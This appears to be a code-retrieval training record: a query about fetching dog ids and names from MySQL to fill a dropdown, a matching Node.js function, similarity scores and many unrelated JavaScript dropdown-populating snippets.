Am09oogvQ72CNlmQ16HyvQb1Ai4FBQe1HwWa5r\\nvUjr2W2+Sw50X4eBFoG6Ryd5O3mn537ueEyFNSbNlUN2G2P3BV9\\/EYdk+5l\\/QIBp2nS30jLEfLWI\\nkbJM3RiPGvKXiC7nN3jLcNACKq06Do3sDP39DVi7rlPhMb+d2P9Nqv3rsfZczx+kb8oKhVX1mL0Y\\nI6Y7mAs94oqyymNzso\\/uJHQH5iljK5ladpouTXloqj1Jd5UTaKz9mK4Fp9AsPQ9RxYlv01mWp\\/qP\\nXL6Zio6+2wfWrqvobjrPq81DSyS7rzJfdjWeg633Jld4wvOAbnEnKG3fBoM5CqYWhePfUuznjrnz\\nsqBHeS6fbv86UtBBq0\\/E2nl1r0NxZk8tP3No7qTxpLrE1WEgwvLjOlH5CUFtxbGP\\/tD\\/rZJW5dVQ\\n0P02j+BORH6X2d+f9+f\\/6PwDtnnkmTFXe8sAAAAASUVORK5CYII=\",\n\t};\n}" ]
[ "0.6104216", "0.5784217", "0.577474", "0.5736944", "0.557718", "0.55460745", "0.55360633", "0.5470355", "0.54183114", "0.5373418", "0.5343234", "0.53161895", "0.52983147", "0.52928424", "0.529281", "0.5279473", "0.52469224", "0.5181046", "0.517682", "0.5173087", "0.51730776", "0.51665694", "0.5165124", "0.5165124", "0.5165124", "0.5165124", "0.5140885", "0.5138968", "0.51298517", "0.5114439", "0.5092878", "0.50888014", "0.5085244", "0.5085244", "0.5085244", "0.50820637", "0.50626457", "0.5059993", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.50599146", "0.5052006", "0.5049609", "0.5042663", "0.5042663", "0.50401187", "0.50401187", "0.50364375", "0.5035615", "0.5033103", "0.5021091", "0.501999", "0.5004941", "0.49973708", "0.49880746", "0.49804083", "0.49791113", "0.49744982", "0.496955", "0.49573934", "0.49564856", "0.49553582", "0.495502", "0.49510014", "0.49470896", "0.49389252", "0.4938543", "0.49368957", "0.49368957", "0.49368957", "0.49368957", "0.49280238", "0.49233395", "0.49205643", "0.49128708", "0.49001637" ]
0.5572583
5
function to call a mysql query to select the id and name of all dogs from the data base to populate the dropdown in the add form
function getDogs(res, mysql, context, complete) { mysql.pool.query("SELECT id, name FROM Dogs", function (error, results, fields) { if (error) { res.write(JSON.stringify(error)); res.end(); } context.dogs = results; //define the results as "dogs" complete(); //call the complete function to increase callbackcount }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function populateBreedsSelect(breeds) {\n $breed_select.empty().append(function() {\n var output = '';\n $.each(breeds, function(key, value) {\n output += '<option id=\"' + value.id + '\">' + value.name + '</option>';\n });\n return output;\n });\n}", "function populateDropDown() { \r\n \r\n // select the panel to put data\r\n var dropdown = d3.select('#selDataset');\r\n jsonData.names.forEach((name) => {\r\n dropdown.append('option').text(name).property('value', name);\r\n });\r\n \r\n // set 940 as place holder ID\r\n populatedemographics(jsonData.names[0]);\r\n visuals(jsonData.names[0]);\r\n }", "function DatCategoriMP(id, Nombre) {\n return '<option value=\"' + id + '\">' + Nombre + '</option>';\n}", "function printBreeds(breeds) {\n $breeds.empty().append(function() {\n var output = '';\n $.each(breeds, function(key, value) {\n output += '<option id=\"' + value.id + '\">' + value.name + '</option>';\n });\n return output;\n });\n}", "function showNewItemField(id, name){\r\n\r\n // leverage existing onchange() to remove red text formatting for selected option\r\n var selectClasses = document.getElementById(id).classList;\r\n selectClasses.remove('defaultGray');\r\n\r\n if (name in newAnimalItemIds) {\r\n if (id === \"animal\") {\r\n document.getElementById(newAnimalItemIds[name]).innerHTML = '<label>New Animal:</label> <input autofocus type=\"text\" class=\"drop_down\" name=\"newAnimal\" id=\"newAnimal\" />';\r\n } else if (id === \"habitat\") {\r\n document.getElementById(newAnimalItemIds[name]).innerHTML = '<label>New Habitat:</label> <input autofocus type=\"text\" class=\"drop_down\" name=\"newHabitat\" id=\"newHabitat\" />';\r\n } else if (id === \"menu\") {\r\n document.getElementById(newAnimalItemIds[name]).innerHTML = '<label>New Menu:</label> <input autofocus type=\"text\" class=\"drop_down\" name=\"newMenu\" id=\"newMenu\" />';\r\n } else if (id === \"option\") {\r\n document.getElementById(newAnimalItemIds[name]).innerHTML = '<label>New Option:</label> <input autofocus type=\"text\" class=\"drop_down\" name=\"newOption\" id=\"newOption\" />';\r\n }\r\n } else {\r\n if (id === \"animal\") {\r\n document.getElementById(newAnimalItemIds.key(0)).innerHTML = ''; // name is undefined so use index to access value\r\n } else if (id === \"habitat\") {\r\n document.getElementById(newAnimalItemIds.key(1)).innerHTML = '';\r\n } else if (id === \"menu\") {\r\n document.getElementById(newAnimalItemIds.key(2)).innerHTML = '';\r\n } else if (id === \"option\") {\r\n document.getElementById(newAnimalItemIds.key(3)).innerHTML = '';\r\n } else {\r\n console.log(\"No matches!\")\r\n }\r\n }\r\n}", "function loaddropdowncars(){\n\tfor(i=1;i <= current_row; i++){\n\t\tvar val = $('#Taxownerscar'+i+'Carmodel').val();\n\t\tcargardropdown('Taxownerscar'+i+'CarbrandId','/carmodels/getmodels/','Taxownerscar'+i+'CarmodelId');\n\t\t$('#Taxownerscar'+i+'CarmodelId').val(val);\n\t}\n}", "function getDD(name){\n\t\t\tvar string=\"dropdown\";\n\t\t\t$(\"#subsec\").hide();\n $(\"#optionHolder\").html('Retrieving...');\n\t\t\t$.post(\"query_cls.php\", {name: name, string: string }, function(data){\n\t\t\t\t\t\t\t$(\"#subsec\").html(data).show();\n\t\t\t\t\t\t\t$(\"#optionHolder\").html('');\n\t\t\t});\n\t\t}", "function select() {\n /* Retrieving the index and the text of the selected option.\n https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_option_index\n */\n let index = document.getElementById(\"choice\").selectedIndex;\n\n let options = document.getElementById(\"choice\").options;\n\n let name = document.getElementById(\"dog\");\n name.innerHTML = options[index].value;\n\n /*\n To clear the timer from the previous slide show.\n */\n clearTimeout(timerID);\n\n /*\n Get the rest of the info through another Ajax, by passing the\n Id.\n */\n getInfo(options[index].id);\n }", "function addArticle(data,where) {\n data.forEach(function (entry) {\n $(where).append('<option value= \"' + entry.id + '\">' + entry.name + ' at ' + entry.address.city + '</option>');\n });\n}", "function DB() {\n if(buildings.length == 0){\n \t$.ajax({\n type: \"POST\",\n url: \"../../command_center/getBuildings\",\n success: function(data){\n \tvar json = JSON.parse(data);\n \tvar select= document.getElementById(\"building_list\");\n \n \t//set an option for each building found\n for(var i = 0; i < json.length; i++){ \n var option=document.createElement('option');\n \n var tembuild={ \n \tID:0,\n Name:''\n\t\t };\n tembuild.ID=json[i][\"id\"];\n tembuild.Name=json[i][\"name\"];\n buildings.push(tembuild); //Add building to the array\n \n option.value=json[i][\"id\"];\n option.innerHTML=json[i][\"name\"];\n select.appendChild(option);\n }\n },\n error: function() {\n \talert(\"Error connecting to database\");\n } \n });\n }\n} // DB()", "function displayDogBreeds(dogBreedData) {\n const breedData = dogBreedData.petfinder.breeds.breed\n let breedTypes = {};\n $.each(breedData, function (index, value) {\n breedTypes[breedData[index].$t] = null;\n });\n $('#breed').autocomplete({\n data: breedTypes,\n limit: 20,\n minLength: 1,\n });\n }", "function typedropDown(){\n var req = new XMLHttpRequest();\n req.open(\"GET\", \"/awards/list\", true);\n req.setRequestHeader('Content-Type', 'application/json');\n req.addEventListener(\"load\", function(){\n if(req.status >= 200 && req.status < 400){\n \n var response = JSON.parse(req.responseText);\n \n for (var i in response){ \n \n var a = document.getElementById(\"alist\"); \n var b = document.createElement(\"option\"); \n b.text = response[i].description;\n b.value = response[i].id;\n a.appendChild(b);\n }\n }\n else {\n console.log(\"Error\");\n }\n });\n req.send(); \n }", "function fnCategory() {\n for (var i = 0; i < category_g.length; i++) {\n $('#ddlCategory').append('<option value=\"' + category_g[i].Value + '\" >' + category_g[i].Text + '</option>');\n }\n}", "function add_cats(){\n\tget_all_cats.done(function(data){\n\t var cats = \"<select name='select_cat' class='add-cat' >\";\n\t for(var i = 0; i < data.length; i++){\n\t\tcats += \"<option class='cat_option' value=\" +data[i].categoryId +\">\";\n\t\tcats += data[i].categoryName;\n\t\tcats += \"</option>\";\n\t }\n\t cats += \"</select>\";\n\t $(\"#add_cats\").append(cats);\n\t});\n }", "function allDogs() {\n\t// Displays the dogs name on the left in a 'jumbotron'\n\tdocument.getElementById('dogsContainer').innerHTML += '<h3 class=\"jumbotron col-md-4 bg-dark text-center\">' + dogs[i].name + '</h3>';\n\t// Displays an image of the dog itself\n\tdocument.getElementById('dogsContainer').innerHTML += '<img id=\"d' + id.toString() + '\" class=\"img-thumbnail col-md-4 my-dogs\" src=\"' + dogs[i].photo + '\"alt=\"Dog\">'; // ID is incremented automatically\n\t// Displays the remaining information about the dog taken from the array function\n\tdocument.getElementById('dogsContainer').innerHTML += '<ul class=\"jumbotron col-md-4 bg-custom\">' +\n\t'<li><b>ID#:</b> D' + id++ + '</li>' + \n\t'<li><b>Breed:</b> ' + dogs[i].breed + '</li>' + \n\t'<li><b>Colour:</b> ' + dogs[i].color + '</li>' + \n\t'<li><b>Height (cm):</b> ' + dogs[i].height + '</li>' +\n\t'<li><b>Age(Years): </b>' + dogs[i].age + '</li>' + \n\t'<li><b>Job: </b>' + dogs[i].job + '</li>' +\n\t'</ul>';\n}", "function DatLisCiry(id, nombre) {\n return '<option value=\"' + id + '\">' + nombre + '</option>';\n}", "function addOwners() {\n\t\n\tvar req = new XMLHttpRequest();\n\treq.open('POST', FLIP + PORT + '/select-owner-names-ids', true);\n\treq.addEventListener('load',function(){\n\t if(req.status >= 200 && req.status < 400){\n\t\n\t\tvar response = JSON.parse(req.responseText);\n\t\tlet table = JSON.parse(response.results);\t\t\n\n\t\t// for each row in the owner table, add the row to the \t\t// selection dropdown\n\t\tlet length = table.length;\n\n\t\tfor(var i = 0; i < length; i++)\t{\n\n\t\t\tlet select = document.getElementById('ownerselect');\n\n\t\t\tlet option = document.createElement('option');\n\n\t\t\toption.innerHTML = table[i].name;\n\t\t\toption.value = table[i].id;\n\n\t\t\tselect.appendChild(option);\n\t\n\t\t}\n\n } else {\n \tconsole.log(\"Error in network request: \" + req.statusText);\n }});\n req.send();\n}", "function createBreedList(breedList) {\r\n document.getElementById(\"breed\").innerHTML = `\r\n <select onchange=\"loadByBreed(this.value)\">\r\n <option>Choose a dog breed</option>\r\n //makes an Array\r\n ${Object.keys(breedList)\r\n .map(function(breed) {\r\n return `<option>${breed}</option>`;\r\n })\r\n .join(\"\")}\r\n </select>\r\n `;\r\n}", "function editDog (event) {\n let dogId = parseInt(event.target.dataset.id); //grabs the dg's id from the dataset\n getDogs(dogId).then(data => { //fetch request was made for all the dogs\n let dog = data.find( dog => {return dog.id === dogId}) //returns the dog based on ID\n let name = dog.name;\n let breed = dog.breed;\n let sex = dog.sex;\n fillEditForm(name, breed, sex, dogId); //fills the dog forms with the dog values\n })\n}", "function getListOfDistrict_reg() {\n loadingDistrictsMaster();\n $.each(district, function(i, resData) {\n var districts = \"<option value=\" + resData.districtID + \">\" + resData.districtName + \"</option>\";\n $(districts).appendTo('#reg_statutory_districtID');\n });\n $('#reg_statutory_districtID').trigger(\"chosen:updated\");\n $(\"#reg_statutory_districtID\").chosen();\n}", "function initializeIDPulldown() {\n samples_data.names.forEach((val, index) => {\n let selDataset = d3.select(\"#selDataset\");\n let option = selDataset.append(\"option\");\n option.property(\"text\", val);\n option.property(\"value\", index);\n console.log(samples_data.names);\n })\n}", "buildDropDown(frogs) {\n let formTag = document.getElementById(\"form\")\n let avatarList = document.createElement(\"select\")\n avatarList.className = \"avatar-list\"\n let submitDiv = document.getElementsByClassName(\"select-div\")[0]\n\n frogs.forEach((frog)=>{\n avatarList.appendChild(new Option (`${frog.avatar}`, frog.id))\n })\n\n formTag.insertBefore(avatarList, submitDiv)\n \n formTag.addEventListener(\"submit\", this.formSubmitHandler)\n\n }", "function loadLeaguesDropDownList(leagues) {\n\n let leaguesLength = leagues.length;\n for (let i = 0; i < leaguesLength; i++) {\n $(\"#division\").append($(\"<option>\", {\n value: leagues[i].Name,\n text: leagues[i].Name + \" \" + \"(\" + leagues[i].Description + \")\"\n }));\n }\n}", "function loadDropDowns(myId, myshortList, myText) {\n // var tbody = d3.select(\"tbody\");\n var inputDate = d3.select(myId) \n \n inputDate.html(\" \");\n \n console.log(myshortList);\n var cell = inputDate.append(\"option\").text(myText);\n \n myshortList.forEach((f) => {\n console.log(f);\n var cell = inputDate.append(\"option\")\n cell.text(f);\n \n });\n }", "function getListOfDistrict() {\n loadingDistrictsMaster();\n $.each(district, function(i, resData) {\n var districts = \"<option value=\" + resData.districtID + \">\" + resData.districtName + \"</option>\";\n $(districts).appendTo('#statutory_districtID');\n });\n $('#statutory_districtID').trigger(\"chosen:updated\");\n $(\"#statutory_districtID\").chosen();\n}", "function populate_specialization_dropdown_by_query()\n{\n let select = document.getElementById(\"Select Specialization\");\n let arr= Get(\"api/buttonsdynamically/get/specialization\");\n if(select===null)\n alert(\"empty object retrieved from DOM parse\");\n if( select.length>1) {\n //alert(\"Specialization already exist in under the domain button, no need to again add them\");\n return \"\";\n }\n for (let i = 0; i < arr.length; i++) {\n let option = document.createElement(\"OPTION\"), txt = document.createTextNode(arr[i]);\n option.appendChild(txt);\n option.setAttribute(\"value\", arr[i]);\n select.insertBefore(option, select.lastChild);\n }\n}", "function getBreeds() {\n $('#cargador').show();\n ajax_get('https://api.thedogapi.com/v1/breeds', function(data) {\n console.log(data)\n populateBreedsSelect(data)\n });\n}", "function listar(){ \n var dog = JSON.parse(tbDogs[tbDogs.length-1]);\n $(\"#vitrine\").append(\n '<div class=\"resultado-dog\">'+\n '<img class=\"img-dog\" src=\"'+dog.Foto+'\">'+\n '<div class=\"texto-foto '+dog.Cor+' '+dog.Font+'\">'+\n '<span>Raça:</span><span class=\"raca-resultado\">'+dog.Raca+'</span><br>'+\n '<span>Nome:</span><span class=\"nome-resultado\">'+dog.Nome+'</span>'+ \n '</div>'+ \n '</div>')\n \n }", "function DatProveMP(id, nombre) {\n return '<option value=\"' + id + '\">' + nombre + '</option>';\n}", "function listRoomType(id) {\n let data = {\n \"query\": 'fetch',\n \"databasename\": 'room_category',\n \"column\": {\n \"room_category\": \"room_category\"\n },\n \"condition\": {\n \"status\": 'A'\n },\n \"like\": \"\"\n }\n commonAjax('database.php', 'POST', data, '', '', '', { \"functionName\": \"listSelect2\", \"param1\": \"#\" + id, \"param2\": \"room_category\" })\n}", "function getListOfDistrict() {\n loadingDistrictsMaster();\n $.each(district, function(i, resData) {\n var districts = \"<option value=\" + resData.districtID + \">\" + resData.districtName + \"</option>\";\n $(districts).appendTo('#district_id');\n });\n $('#district_id').trigger(\"chosen:updated\");\n $(\"#district_id\").chosen();\n}", "function dropdownIngredientes(jsonIngrediente, jsonUnidade) {\r\n for (var i = 0; i < jsonIngrediente.length; i++) {\r\n $('#nomeIngredientes').append(\"<option value=\" + jsonIngrediente[i].id_ingrediente + \">\" + jsonIngrediente[i].nome_ingrediente + \"</option>\");\r\n\r\n for (var j = 0; j < jsonUnidade.length; j++) {\r\n if (jsonIngrediente[i].id_unidade_medida == jsonUnidade[j].id_unidade_medida) {\r\n $('#unidade').append(\"<option>\" + jsonUnidade[j].simbolo_unidade_medida + \"</option>\");\r\n }\r\n }\r\n }\r\n}", "function createDropdowns() {\n //region\n region_options = '';\n for (var i in region_info){\n region_options += '<option value=\"' + region_info[i] + '\">'+ region_info[i] + '</option>'\n }\n $('#id_region').append($.parseHTML(region_options));\n //habitat\n habitat_options = '';\n for (var i in habitat_info){\n habitat_options += '<option value=\"' + habitat_info[i] + '\">'+ habitat_info[i] + '</option>'\n }\n $('#id_habitat').append($.parseHTML(habitat_options));\n //status\n status_options = '';\n for (var i in status_info){\n status_options += '<option value=\"' + status_info[i] + '\">'+ status_info[i] + '</option>'\n }\n $('#id_status').append($.parseHTML(status_options));\n //family\n family_options = '';\n for (var i in family_info){\n family_options += '<option value=\"' + family_info[i] + '\">'+ family_info[i] + '</option>'\n }\n $('#id_family').append($.parseHTML(family_options));\n\n\n }", "function renderTags2() {\r\n\r\n let strHtml = \"<option value=''>Escolher</option>\"\r\n for (let i = 0; i < tags.length; i++) {\r\n strHtml += `<option value='${tags[i]._id}'>${tags[i]._name}</option>`\r\n }\r\n let escolherTag = document.getElementById(\"inputSelTags\")\r\n escolherTag.innerHTML = strHtml\r\n\r\n}", "function getVillage1() {\r\n $.ajax({\r\n type: \"GET\",\r\n url: burl + \"/company/getvillage/\" + $(\"#current_commune :selected\").attr(\"id\"),\r\n success: function (data) {\r\n var opts = \"\";\r\n for(var i=0; i<data.length; i++)\r\n {\r\n opts +=\"<option value='\" + data[i].name + \"'>\" + data[i].name + \"</option>\";\r\n }\r\n $(\"#current_village\").html(opts);\r\n }\r\n });\r\n}", "function populateDropdowns() {\n}", "function getAnalysts() {\n let data = [\n { pjtId: '', },\n ];\n var pagina = 'ProjectReports/listAnalysts';\n var par = '[{\"parm\":\"\"}]';\n var tipo = 'JSON';\n var selector = putAnalyst;\n fillField(pagina, par, tipo, selector);\n \n function putAnalyst(dt) {\n $.each(dt, function (v, u) {\n let H = `<option value=\"${u.emp_id}\">${u.emp_fullname}</option>`;\n findana.append(H);\n });\n }\n\n /* findana.unbind('change').on('change', function () {\n deep_loading('O');\n let pjtId = $(this).val();\n }); */\n}", "function select_pet(idclient) {\n\t$.ajax({\n\t\turl: 'php/consultation/select_pet_idclient.php',\n\t\ttype: 'POST',\n\t\tdata: {idclient: idclient},\n\t})\n\t.done(function(response) {\n\t\t$('#idPet_Consultation').html(response);\n\t})\n\t.fail(function() {\n\t\tconsole.log(\"error\");\n\t})\n\t\n}", "function create_gun_selection(){\n var select_gun = $('#select_gun');\n for (var i = 0; i < DEFAULT_GUNS.length; i++) {\n var el = document.createElement('option');\n el.text = DEFAULT_GUNS[i].name;\n el.value = JSON.stringify(DEFAULT_GUNS[i]);\n select_gun.append(el);\n }\n}", "function listRegisteredDogs(){\n // fetch ('http://localhost:3000/dogs')\n // .then(res => res.json())\n getDogs().then(data => data.forEach(dog => renderDogRow(dog)))\n}", "function userInputAnimalSearch(response) {\n\tvar dogImgID;\n\tvar dogImg;\n\tfor (var i = 0; i < response.data.length; i++) {\n\t\tdogImgID = response.data[i].relationships.pictures.data[0].id;\n\t\tfor (var j = 0; j < response.included.length; j++) {\n\t\t\tvar dogImgOptions = response.included[j].id;\n\t\t\tif (dogImgOptions === dogImgID) {\n\t\t\t\tdogImg = response.included[j].attributes.original.url;\n\t\t\t}\n\t\t}\n\t\tvar dogName = response.data[i].attributes.name;\n\t\tvar dogAgeGroup = response.data[i].attributes.ageGroup;\n\t\tvar dogGender = response.data[i].attributes.sex;\n\t\tvar dogPrimaryBreed = response.data[i].attributes.breedPrimary;\n\t\tvar dogSizeGroup = response.data[i].attributes.sizeGroup;\n\t\tvar dogDescription = response.data[i].attributes.descriptionText;\n\t\tvar cardContainer = $(\".dog-card-container\");\n\t\tvar profileCard = $(\"<div></div>\");\n\t\tvar highlightContainer = $(\"<div></div>\");\n\t\tvar descriptionContainer = $(\"<div></div>\");\n\t\tvar dogProfileImage = $(\"<div></div>\");\n\t\tvar dogProfileFacts = $(\"<div></div>\");\n\t\tvar dogImgEl = $(\"<img>\");\n\t\tvar dogNameEl = $(\"<h3></h3>\");\n\t\tvar dogAgeGroupEl = $(\"<h4></h4>\");\n\t\tvar dogGenderEl = $(\"<h4></h4>\");\n\t\tvar dogPrimaryBreedEl = $(\"<h4></h4>\");\n\t\tvar dogSizeGroupEl = $(\"<h4></h4>\");\n\t\tvar dogDescriptionEl = $(\"<p>\" + dogDescription + \"</p>\");\n\t\tprofileCard.addClass(\"dog-profile-card\");\n\t\thighlightContainer.addClass(\"highlight-container uk-card dark-background padding-20 uk-child-width-1-2 uk-grid uk-margin-remove\");\n\t\tdogProfileImage.addClass(\"dog-profile-image padding-0 uk-card-media-left uk-cover-container\");\n\t\tdogProfileFacts.addClass(\"dog-profile-facts padding-0 uk-card-body\");\n\t\tdescriptionContainer.addClass(\"description-container uk-card dark-background padding-20 uk-card-body\");\n\t\tdogImgEl.addClass(\"search-images uk-cover\");\n\t\tdogImgEl.attr(\"src\", dogImg);\n\t\tdogNameEl.text(\"Name: \" + dogName);\n\t\tdogAgeGroupEl.text(\"Age Group: \" + dogAgeGroup);\n\t\tdogGenderEl.text(\"Gender: \" + dogGender);\n\t\tdogPrimaryBreedEl.text(\"Primary Breed: \" + dogPrimaryBreed);\n\t\tdogSizeGroupEl.text(\"Size Group: \" + dogSizeGroup);\n\t\tcardContainer.append(profileCard);\n\t\tprofileCard.append(highlightContainer, descriptionContainer);\n\t\thighlightContainer.append(dogProfileImage, dogProfileFacts);\n\t\tdogProfileImage.append(dogImgEl);\n\t\tdogProfileFacts.append(dogNameEl, dogAgeGroupEl, dogGenderEl, dogPrimaryBreedEl, dogSizeGroupEl);\n\t\tdescriptionContainer.append(dogDescriptionEl);\n\t}\n\tclearLocalStorage();\n\tbreedAPICall();\n}", "function searchDrug(){\n var search_term = \"\";\n __$(\"ulDrugs\").innerHTML = \"\";\n \n if(__$(\"inputTxt\").value.trim().length > 0){\n search_term = __$(\"inputTxt\").value.trim()\n }\n \n // Create Generic Drugs list\n for(var d = 0; d < generics.length; d++){\n if(search_term != \"\"){\n if(!generics[d][0].toLowerCase().match(search_term.toLowerCase())){\n continue;\n }\n }\n \n var li = document.createElement(\"li\");\n li.id = \"option\" + generics[d][0];\n li.innerHTML = generics[d][0];\n li.style.padding = \"15px\";\n\n if(d%2>0){\n li.style.backgroundColor = \"#eee\";\n li.setAttribute(\"tag\", \"#eee\");\n } else { \n li.setAttribute(\"tag\", \"#fff\");\n }\n\n li.setAttribute(\"concept_id\", generics[d][1])\n\n li.onclick = function(){ \n highlightSelected(__$(\"ulDrugs\"), this);\n \n current_concept_id = __$(this.id).getAttribute(\"concept_id\");\n \n __$(\"inputTxt\").value = this.innerHTML;\n askFormulation();\n }\n\n __$(\"ulDrugs\").appendChild(li);\n }\n}", "function addDog(dog) {\n\tconst dogTableRow = document.createElement('tr');\n\tdogTableRow.className = `row-${dog.id}`\n\tdogTableRow.innerHTML = `\n\t\t<td>${dog.name}</td>\n\t\t<td>${dog.breed}</td>\n\t\t<td>${dog.sex}</td>\n\t\t<td><button class='edit-btn' data-id='${dog.id}'>Edit</button></td>\n\t`\n\tdogTable.append(dogTableRow);\n}", "function constDomDropdown() {\n\n let dropdownString =\"\";\n\n dropdownString += `\n <form>\n <fieldset>\n <label for=\"displayDogs\">How many dogs?</label>\n <select id=\"displayDogs\" name=\"dogs\">\n `\n\n for (let i=1;i<3;i++) {\n dropdownString += `<option value=\"${i}\">${i}</option>`\n };\n\n dropdownString += `<option value=\"3\" selected>3</option>`\n\n for (let i=4;i<51;i++) {\n dropdownString += `<option value=\"${i}\">${i}</option>`\n };\n\n dropdownString += `\n </select>\n <button type=\"submit\" class=\"displayDom\">Display</button>\n </fieldset>\n </form>\n <div class='multiDogDisplayArea'></div>\n `\n\n $('.displayDomMultiRand').html(dropdownString);\n}", "function DatLisDepart(id, nombre) {\n return '<option value=\"' + id + '\">' + nombre + '</option>';\n}", "function datalistAddMore() {\n let dataList = document.querySelector('#planetlist');\n flowerNames.forEach(f => dataList.appendChild(new Option(f)));\n}", "function setCategories(categories) {\n var output = '<select name=\"categoryId\" id=\"entity_categoryId\" class=\"form-control\">';\n for (var category in categories) {\n output += '<option value=\"' + categories[category].id + '\">' + categories[category].name + '</option>';\n }\n output += '</select>';\n document.getElementById(\"categories\").innerHTML = output;\n}", "function addToDropdown(){\n if (areInputsValid(true)){\n var text = jQuery(\"#inputfordropdown\").val(); \n var gender = jQuery(\"#genderinput\").val();\n if (gender == \"Female\") {\n gender = 2;\n } else if (gender == \"Male\") {\n gender = 1;\n }\n var birthdate = jQuery(\"#birthdatep\").val();\n //Add to baby instance\n baby.AddBaby({\"name\": text, \"birthdate\": birthdate, \"gender\": gender})\n //Switch dropdown in UI to new baby \n emptyDropdown();\n populateDropdown(baby.Name);\n jQuery(\"select option[value='\"+text+\"']\").attr(\"selected\",\"selected\");\n //Replot\n updateDataAndGraph();\n //Update minDate in #datep\n updateMinDate(\"#datep\");\n } \n}", "function populateScores(dropdowndata, id) {\n\tvar displayDrop = \"\";\n\tfor (i = 0; i < dropdowndata.length; i++) {\n\t\tdisplayDrop += \"<option>\" + dropdowndata[i] + \"</option>\";\n\t}\n\tdocument.getElementById(id).innerHTML = displayDrop;\n}", "populate_dropdown() {\n let dropdown = $(\"#vertex-shader\");\n this.shader_lib.vertex_info.map((x, i) => {\n $('<option>')\n .val(i)\n .html(x.title)\n .appendTo(dropdown);\n });\n }", "function showJersey(jersey) {\n\n $.each(jersey, function (uuid, jersey) {\n $('#jersey').append($('<option>', {\n value: jersey.jerseyUUID,\n text: jersey.jersey\n }));\n });\n}", "function genDropDownList(){\r\n\tlet request = new XMLHttpRequest();\r\n\t\r\n\trequest.onreadystatechange = function(){\t\r\n\t\tif(this.readyState == 4 && this.status == 200){ //if its reggie\r\n\t\t\tlet data = JSON.parse(request.responseText);\r\n\t\t\t//set names equal to the data from the server\r\n\t\t\t\r\n\t\t\tnames = data;\r\n\t\t\tlet result = '<select name=\"restaurant-select\" id=\"restaurant-select\">';\r\n\t\t\tfor (let elem in names){\r\n\t\t\t\tresult += `<option value=\"${names[elem]}\">${names[elem]}</option>`\r\n\t\t\t}\r\n\t\t\tresult += \"</select>\";\r\n\t\t\tdocument.getElementById(\"restaurant-select\").innerHTML = result;\r\n\t\t\tdocument.getElementById(\"restaurant-select\").onchange = selectRestaurant;\r\n\t\t\tselectRestaurant();\r\n\t\t}\r\n\t}\r\n\trequest.open(\"GET\",\"http://localhost:3000/restaurant-names\",true);\r\n\trequest.send();\r\n\t\r\n\t//Create dropdown list by returning the inner html based on the names array\r\n\r\n\t\r\n}", "makeSelect(data){\n\t\tvar select = document.getElementsByName(\"selectblog\")[0];\n\t\tvar html;\n\t\tfor(var i in data){\n\t\t\tvar option = document.createElement(\"option\"); \n\t\t\toption.setAttribute(\"value\", data[i].ID);\n\t\t\toption.text = data[i].name_blog;\n\t\t\tselect.add(option);\n\t\t}\n\t}", "function populateForm() {\n //TODO: Add an <option> tag inside the form's select for each product\n Product.allProducts.forEach((prod) => {\n createTheElement('option', prod.name, selectElement);\n });\n\n}", "function idList(data) {\n var dropList = d3.select('#selDataset');\n dropList.selectAll('option')\n .data(data)\n .enter()\n .append('option')\n .attr( 'value', d => d )\n .text( d => d );\n }", "function fetchGenreList() {\n // const params=new URLSearchParams()\n // params.set('userID',)\n fetch('./api/genre')\n .then(response => response.json())\n .then(genres => {\n populateDropdown(selection1, genres);\n populateDropdown(selection2, genres);\n populateDropdown(selection3, genres);\n })\n}", "function drop () {\n for(var i = 0; i < Product.names.length; i++) {\n var optionEl = document.createElement('option');\n optionEl.appendChild(document.createTextNode(Product.names[i]));\n merch.appendChild(optionEl); \n }\n}", "function addNames() {\n let list = document.getElementById('names');\n for (let i = 0; i < names.length; i++) {\n let option = document.createElement('option');\n option.value = allUnicorns[i].name;\n option.text = allUnicorns[i].name;\n list.appendChild(option);\n }\n}", "function allCats() {\n\n let cats = document.querySelector(\"body > main > section > ul\")\n fetch(\"database.json\")\n .then(response => response.json())\n .then(json => {\n Object.entries(json.cats).forEach(entry => {\n const [id, cat] = entry\n const {name, description, image, breed} = cat;\n let li = htmlFactory('li');\n let img = htmlFactory('img', 'src', image)\n let h3 = htmlFactory('h3');\n h3.textContent = name;\n let pOne = htmlFactory('p');\n pOne.innerHTML = `<span>Breed: </span> ${json.breed[breed]}`\n let pTwo = htmlFactory('p');\n pTwo.innerHTML = `<span>Description: </span> ${description}`\n let ul = htmlFactory('ul', 'class', 'buttons');\n let liOne = htmlFactory('li', 'class', 'btn edit');\n let editLink = htmlFactory(\"a\", 'href', `${id}`)\n editLink.textContent = 'Change Info'\n liOne.appendChild(editLink)\n let liTwo = htmlFactory('li', 'class', 'btn delete');\n let deleteLink = htmlFactory(\"a\", 'href', `${id}`)\n deleteLink.textContent = 'New Home'\n liTwo.appendChild(deleteLink)\n ul.append(liOne, liTwo)\n\n li.append(img, h3, pOne, pTwo, ul)\n // console.log(li)\n cats.appendChild(li)\n // let option = document.createElement(\"option\");\n // option.setAttribute(\"value\", key);\n // option.textContent = value;\n // breeds.appendChild(option)\n });\n });\n}", "function add_brand_in_project(){\n //get selected items in selector\n let brands_selected = brands_selector.val();\n \n //add brand to list\n for(let i in brands_selected){\n let option_selected = brands_selector.find(\"option[value='\" + brands_selected[i] + \"']\");\n brands_added.append(template({\n id: brands_selected[i],\n title: option_selected.text()\n }));\n \n //remove option in selector\n option_selected.remove();\n }\n }", "function populate_user_specialization_dropdown_by_query()\n{\n let select = document.getElementById(\"Select User Course Specialization\");\n let arr= Get(\"api/buttonsdynamically/get/specialization\");\n if(select===null)\n alert(\"empty object retrieved from DOM parse\");\n if( select.length>1) {\n //alert(\"Specialization already exist in under the domain button, no need to again add them\");\n return \"\";\n }\n for (let i = 0; i < arr.length; i++) {\n let option = document.createElement(\"OPTION\"), txt = document.createTextNode(arr[i]);\n option.appendChild(txt);\n option.setAttribute(\"value\", arr[i]);\n select.insertBefore(option, select.lastChild);\n }\n \n}", "function populate_faculty_dropdown_by_query()\n{\n let select = document.getElementById(\"Select Faculty\");\n let arr= Get(\"api/buttonsdynamically/get/faculty\");\n 